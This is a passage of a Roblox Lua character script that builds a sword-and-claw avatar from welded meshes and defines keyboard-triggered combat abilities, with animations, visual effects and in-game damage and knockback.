  7021. wait() end local rr = 25 GetRegion(holp.p-v3(rr,rr,rr),holp.p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(holp.p,v.Torso.Position).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*1.8,v.Torso) wait(0.24) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
  7022. for i=0,7.5,2.5 do GlowMesh(false,Decs.Ring,t,v3(85-i,85-i,60-i),'Navy blue',hol.CFrame*cn(0,3,0)*ca(rd(-90),0,0),0.1,1,0.05) wait(0.1) end
  7023. wait(5) fade(swor,0.02)
  7024. end) end
  7025. function SpawnDeathBlock(pos,rootvel,sc) q(function()
  7026. local bl = pa(su,"","Block",9.5*sc,12*sc,4*sc,true,true,0.05,0,"Really black") local rca = ca(rd(rn(-6,6)),rd(rn(-6,6)),rd(rn(-6,6)))
  7027. local sk = pa(su,"","Block",0,0,0,false,true,0.05,0,"Really black") qi({"SpecialMesh",sk,Scale=v3(2*sc,2*sc,0.8*sc),MeshType="FileMesh",MeshId=Decs.Skull1})
  7028. bl.Touched:connect(function(v) if v.Parent == c or v.Parent == su or v.Parent:findFirstChild("Humanoid") == nil or v.Parent:findFirstChild("Torso") == nil then return end
  7029. GlowMesh(false,"Sphere",t,v3(12,12,12),'Navy blue',v.CFrame,0.1,1,0.1)
  7030. local bpp = qi({"BodyVelocity",v.Parent.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(rootvel,v.Parent.Torso.Position+v3(0,7.5,0)).lookVector*80}) Dmgz(false,v.Parent.Humanoid,rn(d[1],d[2])*0.2,v.Parent.Torso) wait(0.2) bpp:Remove()
  7031. end)
  7032. for i=0,1,0.1 do bl.CFrame=pos*cn(0,(-5*sc)+(9*i),0)*rca sk.CFrame=bl.CFrame*cn(0,0,-2.1*sc) wait() end
  7033. wait(rn(23,30))
  7034. for i,v in pairs({{"Navy blue",v3(30,30,30)},{"Really black",v3(20,20,20)}}) do GlowMesh(false,"Sphere",t,v[2],v[1],bl.CFrame,0.1,1,0.1) end
  7035. local rr = 8 GetRegion(bl.Position-v3(rr,rr,rr),bl.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bl.Position,v.Torso.Position).lookVector*80}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.5,v.Torso) wait(0.1) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
  7036. fade(bl,0.1) fade(sk,0.1)
  7037. end) end
  7038. ---- TUT01Cobalt1164
  7039. han = pa(su,"","Block",0.4,0.4,0.4,false,false,0,0,"White") it('CylinderMesh',han)
  7040. hanw = qi({"Weld",han,Part0=t,Part1=han,C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)})
  7041. han2 = pa(su,"","Block",0.35,4,0.35,false,false,0,0,"Black") it('CylinderMesh',han2)
  7042. han2w = qi({"Weld",han2,Part0=han,Part1=han2,C0=cn(0,1,0)})
  7043. han3 = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",han3,MeshType="Sphere",Scale=v3(0.4,0.4,0.4)*5})
  7044. han3w = qi({"Weld",han2,Part0=han2,Part1=han3,C0=cn(0,-2,0)})
  7045. han4 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han4,MeshType="Sphere",Scale=v3(0.5,0.7,0.2)*5})
  7046. han4w = qi({"Weld",han2,Part0=han3,Part1=han4,C0=ca(0,rd(90),0)})
  7047. for i=1,7 do
  7048. des = pa(su,"","Block",0.4,0.2,0.4,false,false,0,0,"White") it('CylinderMesh',des).Scale = v3(1,0.4,1)
  7049. desw = qi({"Weld",han,Part0=han2,Part1=des,C0=cn(0,-0.9+(i/3),0)*ca(rd(rn(-15,15)),0,rd(rn(-15,15)))})
  7050. end
  7051. for i=0,270,90 do
  7052. des = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.1,0.4,0.1),MeshId=Decs.Spike})
  7053. desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=ca(0,rd(i),0)*cn(0,1.8,0.3)*ca(rd(90),0,0)})
  7054. end
  7055. han5 = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han5,MeshType="Sphere",Scale=v3(0.35,0.6,0.35)*5})
  7056. han5w = qi({"Weld",han2,Part0=han2,Part1=han5,C0=cn(0,2,0)})
  7057. han6 = pa(su,"","Wedge",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han6,MeshType="Wedge",Scale=v3(0.1,1,0.5)*5})
  7058. han6w = qi({"Weld",han2,Part0=han2,Part1=han6,C0=cn(0,2.4,0.05)*ca(rd(10),0,0)})
  7059. han7 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han7,MeshType="FileMesh",Scale=v3(0.75,0.75,2),MeshId=Decs.Ring})
  7060. han7w = qi({"Weld",han2,Part0=han2,Part1=han7,C0=cn(0,2.9,0)*ca(0,rd(90),0)})
  7061. han8 = pa(su,"","Block",0,0,0,false,false,0.3,0.1,"White") qi({"SpecialMesh",han8,MeshType="Sphere",Scale=v3(0.7,0.7,0.7)*5})
  7062. han8w = qi({"Weld",han2,Part0=han2,Part1=han8,C0=cn(0,2.9,0)*ca(0,0,0)})
  7063. han9 = pa(su,"","Block",0,0,0,false,false,0,0,"Institutional white") qi({"SpecialMesh",han9,Scale=v3(0.25,1,0.25),MeshType="FileMesh",MeshId = Decs.Chakram3})
  7064. han9w = qi({"Weld",han2,Part0=han2,Part1=han9,C0=cn(0,2.9,0)*ca(0,0,rd(90))})
  7065. q(function() while true do wait(0.035) han9w.C0 = han9w.C0 *ca(0,rd(10),0) end end)
  7066. for i=0,2 do
  7067. des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
  7068. desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,2.1+(i/2.1),0.6+(i/5))*ca(rd(150-(i*30)),0,0)})
  7069. end
  7070. des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
  7071. desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,3.6,0.7)*ca(rd(50),0,0)})
  7072. bla = pa(su,"","Wedge",0.2,1,2,false,false,0,0.05,"") qi({"SpecialMesh",bla,Scale=v3(0.56,1,1),MeshType="Wedge"})
  7073. blaw = qi({"Weld",han2,Part0=han8,Part1=bla,C0=cn(0,0.5,-1.2)*ca(rd(30),0,0)})
  7074. bla2 = pa(su,"","Wedge",0.2,0.7,2,false,false,0,0.05,"") qi({"SpecialMesh",bla2,Scale=v3(0.53,1,1),MeshType="Wedge"})
  7075. bla2w = qi({"Weld",han2,Part0=bla,Part1=bla2,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
  7076. bla3 = pa(su,"","Wedge",0.2,0.4,2,false,false,0,0.05,"") qi({"SpecialMesh",bla3,Scale=v3(0.5,1,1),MeshType="Wedge"})
  7077. bla3w = qi({"Weld",han2,Part0=bla2,Part1=bla3,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
  7078. han10 = pa(su,"","Block",0,0,0,false,false,0,1,"Really black") it('CylinderMesh',han10).Scale = v3(1.2,0.57,1.2)
  7079. han10 = qi({"Weld",han2,Part0=bla,Part1=han10,C0=cn(0,-0.37,1.35)*ca(0,0,rd(90))})
  7080. han11 = pa(su,"","Block",0.2,0.37,0.7,false,false,0,0,"") it('BlockMesh',han11).Scale = v3(0.48,1,0.9)
  7081. han11 = qi({"Weld",han2,Part0=bla,Part1=han11,C0=cn(0,-0.32,1.3)})
  7082. --http://www.roblox.com/Knights-of-the-Seventh-Sanctum-Sword-and-Shield-item?id=60357959
  7083. raa = c["Right Arm"]
  7084. laa = c["Left Arm"]
  7085. clawa1 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
  7086. clawa1w = qi({"Weld",han2,Part0=laa,Part1=clawa1,C0=ca(rd(180),0,0)*cn(-0.2,1.25,0)})
  7087. clawa2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
  7088. clawa2w = qi({"Weld",han2,Part0=laa,Part1=clawa2,C0=ca(rd(180),0,0)*cn(0.2,1.25,0)})
  7089. clawb1 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
  7090. clawb1w = qi({"Weld",han2,Part0=clawa1,Part1=clawb1,C0=cn(0,0.15,0)})
  7091. clawb2 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
  7092. clawb2w = qi({"Weld",han2,Part0=clawa2,Part1=clawb2,C0=cn(0,0.15,0)})
  7093. badge = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",badge,MeshType="FileMesh",Scale=v3(0.15,1,0.5),MeshId=Decs.Diamond})
  7094. badgew = qi({"Weld",han2,Part0=laa,Part1=badge,C0=cn(-0.5,0,0)*ca(rd(25),0,0)})
  7095. badge2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",badge2,MeshType="FileMesh",Scale=v3(0.149,1,0.495),MeshId=Decs.Diamond})
  7096. badge2w = qi({"Weld",han2,Part0=badge,Part1=badge2})
  7097. ef = pa(su,"","Block",0,0,0,false,true,1,0,"White") qi({"SpecialMesh",ef,MeshType="FileMesh",Scale=v3(7,7,4),MeshId=Decs.Chakram2})
  7098. --efw = qi({"Weld",han2,Part0=t,Part1=ef,C0=cn(0,-2.9,0)*ca(rd(90),0,0)})
  7099. db1 = pa(su,"","Block",0,0,0,false,false,1,0,"White") qi({"SpecialMesh",db1,MeshType="Sphere",Scale=v3(1,1,1)*5})
  7100. db1w = qi({"Weld",han2,Part0=laa,Part1=db1,C0=cn(0,-2,0)})
  7101. db2 = pa(su,"","Block",0,0,0,false,false,1,0.1,"White") qi({"SpecialMesh",db2,MeshType="Sphere",Scale=v3(1.2,1.2,1.2)*5})
  7102. db2w = qi({"Weld",han2,Part0=db1,Part1=db2,C0=cn(0,0,0)})
  7103. local ebs = false
  7104. function eb(wutarm,aa,siz) if not siz then siz = 1 end q(function() db1.Mesh.Scale=v3(siz,siz,siz)*5 db1w.Part0 = wutarm db1w.C0 = cn(0,-1+(-siz/1.25),0) if not ebs then ebs = true
  7105. if aa then db1.Transparency = 0.1 else for i=1,0.1,-0.1 do db1.Transparency = i wait() end end
  7106. else
  7107. ebs = false if aa then db1.Transparency = 1 else for i=0.1,1,0.1 do db1.Transparency = i wait() end end
  7108. end end) end
  7109. local efm = ef.Mesh.Scale
  7110. function e(aa) if aa ~= nil then ef.Mesh.Scale=efm*aa else ef.Mesh.Scale=efm end if ef.Transparency < 0.4 then
  7111. for i=0.3,1,0.1 do ef.Transparency = i wait() end
  7112. else
  7113. q(function() for i=1,0.3,-0.1 do ef.Transparency = i wait() end end)
  7114. end end
  7115. q(function() while true do if ebs then for i=0.4,0.7,0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i wait() db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) end
  7116. for i=0.7,0.4,-0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) wait() end else db2.Transparency = 1 db2.Mesh.Scale = v3(1.2,1.2,1.2)*5 end wait() end end)
  7117. q(function() while true do for i=0,1,0.05 do badge.Transparency = i wait() end badge.Transparency = 1 wait(1) for i=1,0,-0.05 do badge.Transparency = i wait() end wait(4) end end)
  7118. sho = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",sho,Scale=v3(1.1,1.1,1.1)*5,MeshType="Wedge"})
  7119. show = qi({"Weld",han2,Part0=raa,Part1=sho,C0=cn(0,0.545,0)*ca(rd(180),rd(90),0)})
  7120. chak = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",chak,Scale=v3(0.09,0.09,0.24)*5,MeshType="FileMesh",MeshId=Decs.Chakram})
  7121. chakw = qi({"Weld",han2,Part0=raa,Part1=chak,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
  7122. chak2 = pa(su,"","Block",0,0,0,false,false,0.1,0.1,"White") qi({"SpecialMesh",chak2,Scale=v3(0.15,0.15,0.05)*5,MeshType="FileMesh",MeshId=Decs.Chakram2})
  7123. chak2w = qi({"Weld",han2,Part0=raa,Part1=chak2,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
  7124. local efww = 0
  7125. q(function() while true do wait() if FindGround(to.CFrame) then efww = efww+25 ef.CFrame = FindGround(to.CFrame)*ca(0,rd(efww),0)*ca(rd(90),0,0) else ef.CFrame=cn(10000,10000,10000) end end end)
  7126. q(function() while true do wait(0.035) chak2w.C0 = chak2w.C0*ca(0,0,rd(25)) end end)
  7127. ---- TUT02Cobalt1164
  7128. function Act(k,kb)
  7129. if kb then
  7130. if k == "e" and Anim=="None" then
  7131. Anim = "SpawnSwords" Armz(false) e() eb(raa) fac = true
  7132. c2(law,spd,3,-1.5,1,0,30,0,30) c2(tw,spd,3,0,0,0,0,-95,0) c2(hw,spd,3,0,1.5,0,0,95,0)
  7133. c1(raw,spd,3,1,0.5,0,0,0,-80) c2(raw,spd,3,1,0.4,0,0,0,-140) for i=1,5 do SpawnSword(FindGround(to.CFrame*cn(0,-2.75,-0.5+(-i*8)-i)),1+(i/10),15,"Navy blue") wait(0.06) end
  7134. eb(raa) fac = false wait(0.2) e() c2(law,spd,3,-1.5,1,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true)
  7135. Anim = "None"
  7136. elseif k == "q" and Anim=="None" then
  7137. Anim = "GravGrab" Armz(false) e() eb(laa) caw = false
  7138. c2(raw,spd,3,1.5,1,0,30,0,20) c2(tw,spd,3,0,0,0,0,95,0) c2(hw,spd,3,0,1.5,0,0,-95,0)
  7139. c1(law,spd,3,-1,0.5,0,0,0,130) SpikeSucker(to.CFrame*cn(0,5,-6),1) eb(laa) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7140. c2(law,spd,3,-1,0.5,0,45,0,90) c2(hw,spd,3,0,1.5,0,0,90,0) c2(tw,spd,3,0,0,0,0,-90,0) c2(hanw,spd,0,-0.1,-2.2,0,0,90,170)
  7141. Trail(bla3,15,0,"White",0.65,cn(0,-0.2,-1)) rayHit(0.6,1,ra,ca(rd(-90),0,0),8,1.3)
  7142. c1(raw,spd,3,1.3,0.5,0,-30,0,-135) wait(0.5) c2(hanw,spd,0,-0.1,-1.1,0,0,0,75)
  7143. caw = true c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,30,3,20) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) c1(raw,spd,3,1.5,1,0,0,0,0)
  7144. e() Anim = "None" Armz(true)
  7145. elseif k == "z" and Anim=="None" then
  7146. Anim = "Blackspace" Armz(false) Legz(false) caw = false
  7147. c2(raw,spd,3,1.5,1,0,20,0,-20) c2(law,spd,3,-1.5,1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) c2(llw,spd,3,-0.5,-1,0,20,0,20) c1(tw,spd*0.5,3,0,7,0,0,0,0) Blackspace(t.CFrame,40,3)
  7148. c2(raw,spd,3,1.5,1,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,0) Anim = "None" Armz(true) Legz(true) caw = true
  7149. elseif k == "g" and Anim=="None" then
  7150. Anim = "MatterBall" e() Armz(false) fac = true
  7151. c2(tw,spd*1.3,3,0,0,0,0,-90,0) c2(hw,spd*1.3,3,0,1.5,0,0,90,0) c1(law,spd*1.3,3,-1,0.5,0,50,0,90-math.deg((to.Position - mouse.hit.p).unit.y))
  7152. eb(laa,nil,3) wait(0.3)
  7153. c2(tw,spd*1.55,3,0,0,0,0,70,0) c2(hw,spd*1.55,3,0,1.5,0,0,-70,0) c1(law,spd*1.55,3,-1,0.5,0,-20,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) eb(laa,true,2) MatterBall(cn(db1.Position,la.CFrame*cn(0,-20,0).p),3,5,30,1.5)
  7154. fac = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c1(law,spd*1.3,3,-1.5,1,0,0,0,0) e() Armz(true) wait(0.1) Anim = "None"
  7155. elseif k == "r" and Anim=="None" then
  7156. Anim = "Block" Armz(false) fac = true
  7157. c2(tw,spd,3,0,0,0,0,-65,0) c2(hw,spd,3,0,1.5,0,0,65,0) c1(raw,spd,3,1.5,0.5,0.2,-100,-25,-5) c2(law,spd,3,-1.3,1,0.2,20,0,20)
  7158. local spm = chak2.Mesh.Scale for i=1,11,1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end
  7159. block.Value = true repeat wait(0.4) GlowMesh(true,chak2.Mesh.MeshId,chak2,chak2.Mesh.Scale*1.5,'White',cn(0,0,0),chak2.Transparency,1,0.025) until not ky[k] for i=11,1,-1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end chak2.Reflectance = 0
  7160. block.Value = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c2(law,spd*1.3,3,-1.5,1,0,0,0,0) c1(raw,spd*1.3,3,1.5,1,0,0,0,0) Armz(true) fac = false Anim = "None"
  7161. elseif k == "v" and Anim=="None" then
  7162. Anim = "RakeFist" Armz(false) fac = true
  7163. c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7164. if (to.Position - mouse.hit.p).magnitude < 125 then c2(hanw,spd*1.5,0,-0.1,-1.2,0,0,-30,100) c1(raw,spd*1.5,3,1.5,0.5,0,-135,-60,0) wait(0.2) FistBoom(cn(to.CFrame*cn(-1.5,1.5,-4).p,to.CFrame*cn(-1.5,1.5,-5).p),1,rn(d[1]*2,d[2]*2),(to.Position-v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)).magnitude-10) fac = false c1(raw,spd,3,1,0.5,0,-50,70,0) end fac = false
  7165. wait(0.2) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0.5,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7166. c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) Anim = "None"
  7167. elseif k=="h" and Anim=="None" then
  7168. Anim = "Worm" Armz(false) e(3) fac = true caw = false
  7169. c2(tw,spd,3,0,0,0,0,-90,0) c2(hw,spd,3,0,1.5,0,0,90,0) c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7170. c2(hanw,spd,0,-0.1,-1.5,0,0,0,180) c1(raw,spd,3,1,0.5,0,-180,0,-30) c1(raw,spd,3,1,0.5,0,0,0,-90)
  7171. local tpos = mouse.hit.p if (tpos - bla2.Position).magnitude < 350 then q(function() local to = pa(su,"","Block",2,1,2,false,true,0.1,0,"White") it('CylinderMesh',to) local to2 = pa(su,"","Block",0,0,0,false,true,0.1,0,"White") qi({"SpecialMesh",to2,Scale=v3(2,2,2),MeshType="FileMesh",MeshId=Decs.Totem})
  7172. for i=1,5,0.5 do to.Size=v3(2,i,2) to.CFrame=cn(tpos+v3(0,i/2,0)) to2.CFrame = to.CFrame*cn(0,(i/2)+1,0) wait() end wait(3.5) for i=0.2,1,0.1 do to.Transparency = i to2.Transparency = i wait() end to:Remove() to2:Remove() end)
  7173. for i=1,8 do Lightning(bla2.Position,tpos,math.floor((bla2.Position-tpos).magnitude/18)+1,1.5,"White",0.3,0) wait(0.04) end fac = false
  7174. caw = true q(function() wait(1) WormDrill(cn(tpos),rn(25,30)/10) end) c1(law,spd,3,-1.5,0.25,0,0,0,180) q(function() local to = pa(su,"","Block",1.5,1.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",to,MeshType="Sphere"}) for i=1,15,1 do to.Size=v3(1.5,i*2,1.5) to.CFrame=la.CFrame*cn(0,-2+(-i),0) wait() end GlowMesh(false,"Sphere",t,v3(35,35,35),'Navy blue',la.CFrame*cn(0,-32,0),0.1,1,0.1) fade(to,0.1) end)
  7175. end fac = false caw = true c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7176. c2(tw,spd,3,0,0,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(law,spd*0.8,3,-1.5,1,0,0,0,0) c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) e(3) Anim = "None"
  7177. elseif k == "y" and Anim == "None" then
  7178. Anim = "Whirlwind" Armz(false) e() fac = true
  7179. c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7180. c2(hanw,spd,0,-0.1,-1.2,0,0,0,90) c2(hanw,spd,1,0,0,0,0,0,0) c1(raw,spd,3,1,0.5,0,-180,0,0) wait(0.1)
  7181. local to = pa(su,"","Block",0,0,0,false,false,0.2,0,"White") it('CylinderMesh',to).Scale=v3(9,0.2,9)*5 local tom = qi({"Weld",to,Part0=ra,Part1=to})
  7182. q(function() for i=1,40 do if i == 20 then for hax=-50,50,25 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd(hax),0),1,1.2,6) end end tom.C0 = cn(0,-2.3,0)*ca(rd(rn(-8,8)),0,rd(rn(-8,8))) wait() end fade(to,0.1) end) c1(hanw,spd*0.3,1,0,0,0,360*5,0,0) cleanweld(hanw,"a1")
  7183. c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7184. c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) e() fac = false Anim ="None"
  7185. elseif k == "n" and Anim=="None" then
  7186. Anim = "CrownSwords" Armz(false) Legz(false) e() caw = false c2(tw,spd,3,0,5,2,-20,0,0) c2(llw,spd,3,-0.5,-1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20)
  7187. c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7188. c2(hanw,spd,0,-0.1,-1.2,0,40,0,205) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15)
  7189. c2(raw,spd,3,1,0.5,-0.5,-70,-25,0) c2(law,spd,3,-1,0.5,-0.5,-70,25,0) c1(tw,spd,3,0,0,0,30,0,0) wait(0.2) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) CrownSwords(to.CFrame*cn(0,-2.5,-3)) to.CFrame = to.CFrame*cn(0,0,30) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05)
  7190. wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7191. c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Legz(true) Armz(true) caw = true Anim ="None"
  7192. elseif k == "b" and Anim=="None" then
  7193. Anim = "DeathWall" Armz(false) e() caw = false
  7194. c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7195. c2(hanw,spd,0,-0.1,-1.2,0,40,0,190) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15)
  7196. c2(raw,spd*1.4,3,1,0.5,-0.5,-45,-25,0) c1(law,spd*1.4,3,-1,0.5,-0.5,-45,25,0) GlowMesh(false,"Sphere",t,v3(15,1,15),'Navy blue',to.CFrame*cn(0,-2.8,-5.5),0.1,1,0.03)
  7197. wait(0.2) for i=0,300,60 do SpawnDeathBlock(to.CFrame*ca(0,rd(i),0)*cn(0,-2.8,-10),to.Position,1) wait() end
  7198. wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7199. c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) caw = true Anim ="None"
  7200. elseif k == "f" and Anim=="None" then
  7201. Anim = "RapidKick" Legz(false)
  7202. c1(tw,spd,3,0,-0.5,0,-90,0,90) local lo = {-1,-1.6} local ty = 0 ws(25)
  7203. c1(tw,0.013,3,0,-0.5,0,-90,0,90+(360*5),function() ty=ty+1 local tz = 35 if lo[1] == -1 then lo = {-1.6,-1} else lo = {-1,-1.6} end
  7204. c2(llw,1,3,-0.5,lo[1],0,rn(-tz,tz),0,rn(-tz,tz))
  7205. c2(rlw,1,3,0.5,lo[2],0,rn(-tz,tz),0,rn(-tz,tz))
  7206. local tst = ll if rn(1,2) == 1 then tst = rl end
  7207. local das = pa(su,"","Block",1.5,2.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",das,MeshType="Sphere"})
  7208. das.CFrame=tst.CFrame*cn(0,-4,0) fade(das,0.2)
  7209. if ty%3== 0 then hu:MoveTo(to.CFrame*cn(0,0,-5).p,to) local rr = 2 GetRegion(to.CFrame*cn(0,0,-3).p-v3(rr,rr,rr),to.CFrame*cn(0,0,-3).p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.2,v.Torso) end) end
  7210. if ty%6==0 then GlowMesh(false,Decs.Crown,t,v3(3,6,3),'Navy blue',to.CFrame*cn(0,0,3)*ca(rd(90),0,0),0.1,1,0.05) end
  7211. end) ws(16)
  7212. c2(llw,1,3,-0.5,-1,0,0,0,0) c2(rlw,1,3,0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,360*5) cleanweld(tw,"a1") Legz(true) Anim="None"
  7213. end
  7214. else
  7215. if k == "q" then
  7216. end -- q end
